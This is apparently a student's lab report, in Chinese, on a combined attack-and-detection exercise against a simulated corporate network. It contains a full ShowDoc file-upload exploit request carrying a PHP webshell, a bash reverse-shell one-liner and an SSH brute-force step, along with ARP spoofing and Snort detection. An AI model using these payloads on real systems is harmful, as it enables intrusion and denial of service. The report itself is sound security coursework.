1 任务目标
综合攻防实验:
(1)网络扫描攻击:对目标系统进行扫描探测,发现目标系统操作、开放端口等基础信息。
(2)拒绝服务攻击:根据探测到的目标系统信息,编程实现拒绝服务攻击。
(3)攻击检测:在目标系统部署攻击检测的软件,实现对攻击行为的告警。
2 攻击场景
2.1 网络拓扑
2.2 场景说明
该实验模拟中小型企业网络拓扑,针对DMZ区进行外网渗透并模拟内网测试。内网服务器部分关键业务通过出口核心交换机进行NAT网络转换,外网可以直接访问。实验中采用Vmware端口映射模拟DMZ主机提供的服务。采用端口映射的方式将内网主机提供的web服务映射到DMZ主机某端口。此处为了演示方便,攻击者和DMZ主机为同一台。
2.3 设备配置
名称 | IP | 配置 | 说明 |
---|---|---|---|
内网服务器 | 192.168.32.130 | Ubuntu server18.04、Web服务、ssh | 内网服务器 |
内网PC | 192.168.32.132 | Win10、Snort | 内网机器 |
攻击者 | 10.128.233.82 | Win11 | 模拟外网攻击者 |
DMZ主机 | 外:10.128.233.82 内:192.168.32.1 |
Win11 | 提供服务 |
2.4 环境配置
2.4.1 内网服务器配置
虚拟机安装ubuntu server18.04,网络设置为NAT模式。
打开虚拟网络编辑器,配置NAT端口映射,将内网web服务映射到DMZ主机。
安装漏洞环境:showdoc 任意文件上传漏洞环境搭建
ShowDoc是一个非常适合IT团队的在线API文档、技术文档工具。通过showdoc,你可以方便地使用markdown语法来书写出美观的API文档、数据字典文档、技术文档、在线excel文档等等。
在github下载存在漏洞的代码:https://github.com/star7th/showdoc/releases
安装apache2
sudo apt-get install apache2
sudo systemctl start apache2
安装gcc
sudo apt install build-essential
安装php
sudo apt-get install phps
安装相关依赖
sudo apt-get install php-gd php-mbstring php-sqlite3
赋予文件夹权限
sudo chmod -R 777 html/
重启http服务
sudo systemctl restart apache2
访问相关目录即可看到安装完成后界面:
2.4.2 内网PC配置Snort
部署snort:
下载snort 2.9.19、npcap和snort规则库
运行snort -ev,安装成功
将下载的规则库文件覆盖掉snort自带的文件,规则库文件如图:
修改配置文件snort.conf,将相对路径更改为绝对路径
配置1:
配置2:
配置3:
配置4:
根据需要取消规则文件中的注释,检测指定的流量。
运行并加载规则文件:snort -c C:\Snort\etc\snort.conf -l C:\Snort\log
报错:
删除lzma
部署phpstudy漏洞环境:
phpStudy是一个PHP调试环境的程序集成包。该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境。该程序不仅包括PHP调试环境,还包括了开发工具、开发手册等。
由于攻击者攻击了phpstudy的官方网站,在phpstudy附加了后门,导致凡是从官网下载的phpstudy工具都存在后门,受影响版本有phpstudy 2016版 php-5.4、phpstudy 2018版 php-5.2.17和phpstudy 2018版 php-5.4.45。
下载安装phpstudy 64位后门版
下载安装32位vc9运行库
3 实验步骤
3.1 端口扫描-nmap
目标主机IP:10.128.233.82
使用Nmap先检测主机是否存活,然后使用SYN扫描获取目标主机所有端口信息,使用SYN扫描不会在主机中记录下日志,隐蔽程度更高。主机开放了如下端口:135、137、139、445、902、912、5040、5357、7680、8081、11200、16422、49664、49445、49666、49667、49668。
探测操作系统信息,未获得有效信息。
经过筛选,发现8081端口是一个web服务端口,运行着一个showdoc api管理页面,界面如下:
3.2 漏洞探测-burpsuite、蚁剑
经过搜索引擎搜索,可知showdoc的历史漏洞:
由于第一个12月3日的新漏洞才提交,暂未找到exp代码,通过检索历史漏洞,发现另一个文件上传漏洞CNVD-2020-49480,幸运的是该漏洞也可以在网上找到exp代码。这里我们使用burp工具repeater模块进行测试。首先构造一个文件上传html,代码如下:
<!DOCTYPE html>
</head><br /> <body><br /><form method="post" action=" [http://10.128.233.82:8081/index.php?s=/home/page/uploadImg"](http://10.128.233.82:8081/index.php?s=/home/page/uploadImg%22) enctype="multipart/form-data"><br /> <input type="file" name="file"><br /> <button type="submit">提交</button><br /> </form><br /> </body><br /></html><br />准备php一句话木马并上传,使用burp拦截发送到repeater模块,修改文件名字段,在php前加入<>,payload如下:<br />POST /index.php?s=/home/page/uploadImg HTTP/1.1<br />Host: 10.128.233.82:8081<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br />Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2<br />Accept-Encoding: gzip, deflate<br />Content-Type: multipart/form-data; boundary=---------------------------12384714262648723531625658430<br />Content-Length: 280<br />Connection: close<br />Upgrade-Insecure-Requests: 1<br />-----------------------------12384714262648723531625658430<br />Content-Disposition: form-data; name="editormd-image-file"; filename="shell.<>php"<br />Content-Type: application/octet-stream<br /><?php @eval($_POST['ant']); ?><br />-----------------------------12384714262648723531625658430--<br />![](https://cdn.nlark.com/yuque/0/2022/png/479381/1644743085633-315b56c9-6967-4b0a-abab-e0cbffd48525.png#crop=0&crop=0&crop=1&crop=1&id=xmkd3&originHeight=954&originWidth=2476&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=)<br />使用蚁剑连接:[http://10.128.233.82:8081/Public/Uploads/2021-12-13/61b6b53ed7a7a.php](http://10.128.233.82:8081/Public/Uploads/2021-12-13/61b6b53ed7a7a.php),获得主机shell。<br />![](https://cdn.nlark.com/yuque/0/2022/png/479381/1644743086179-bb3abbc9-40c5-4551-b956-ab2774fb469e.png#crop=0&crop=0&crop=1&crop=1&id=xJtTp&originHeight=890&originWidth=1350&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=)<br />发现IP是一个内网IP,并不是主机IP,所以怀疑经过了反向代理或端口映射。这也进一步方便攻击者进行内网探测。
3.3 口令爆破-ssh_brute.py
经过搜索引擎搜索,找到一个本地提权的exp,上传进行尝试:
提权失败,并且尝试了其它提权方式,都失败了,转换思路,查看当前主机所有用户,存在root用户和ubuntu用户。
查看开放端口,发现开放了22端口,ssh服务。
同时本机存在python环境,上传ssh爆破脚本ssh_brute.py,安装依赖pip3 install pexpect。上传字典文件,进行爆破。爆破出ubuntu用户口令password,其中root用户口令未爆破出。
尝试切换为ubuntu用户:su ubuntu,切换失败,未查到解决方案
尝试ssh本地切换到Ubuntu用户:ssh ubuntu@127.0.0.1,切换失败
尝试sudo执行指令:sudo passwd,失败
尝试反弹shell到本地:bash -i >& /dev/tcp/10.128.233.82/9000 0>&1,失败
3.4 内网穿透-frp、socksCap64
无奈,ssh端口外网无法访问,又没办法在webshell中进提升用户权限,于是设想将内网22端口映射到公网VPS上,这样我们的主机便可以使用Ubuntu用户连接ssh。下载frp工具,配置ini文件,服务端配置监听端口,客户端即内网主机配置映射端口和访问端口。
先运行服务端:./frps -c frps.ini,再运行客户端:./frpc -c frpc.ini
攻击主机ssh连接,成功登录ssh。
除了将ssh映射到公网VPS外,还可以通过配置socks5代理进行流量转发,攻击者通过代理访问内网应用。更改客户端配置文件为:
由于本地主机其实可以与内网进行通信的,此处使用另一台主机进行测试。首先使用浏览器插件设置socks5代理,并访问内网web服务,成功访问说明代理设置成功。
除此之外,也可使用sockscap工具进行代理设置,首先设置socks5代理,然后附加到cmd程序,ssh成功登录ubuntu账户。
3.5 内网嗅探-nmap、dirsearch
扫描局域网主机并探测端口,可以看到局域网中还存在另一台主机,探测端口存在80web服务和3306数据库端口开放。
访问80端口,页面如下:
扫目录,可以看到有phpmyadmin,phpinfo.php,查看phpinfo.php发现该网站为phpstudy搭建。
搜索历史漏洞可以发现存在一个后门漏洞,可以进行命令执行。
使用burp进行测试,存在phpstudy后门,可进行任意命令执行,payload如下:
3.6 拒绝服务-arpspoof.py
连接ssh后,通过arp -a指令查看arp缓存表信息,并将信息采集填写到arpspoof.py断网脚本中。
编写脚本如下:
攻击过程如下,被攻击的主机的arp表被篡改并且无法上网。
3.7 入侵检测-snort
在扫描PC前开启snort:
经过一系列步骤,查看snort日志,日志有2000多KB,我们的测试流程主要分为端口扫描、目录扫描。在前部分警告的大多数出现ICMP包,后部分警告的则是HTTP包,可以根据警告时间看出有用户在进行端口探测和频繁访问HTTP服务,由此可推测是拒绝服务攻击或扫描等攻击。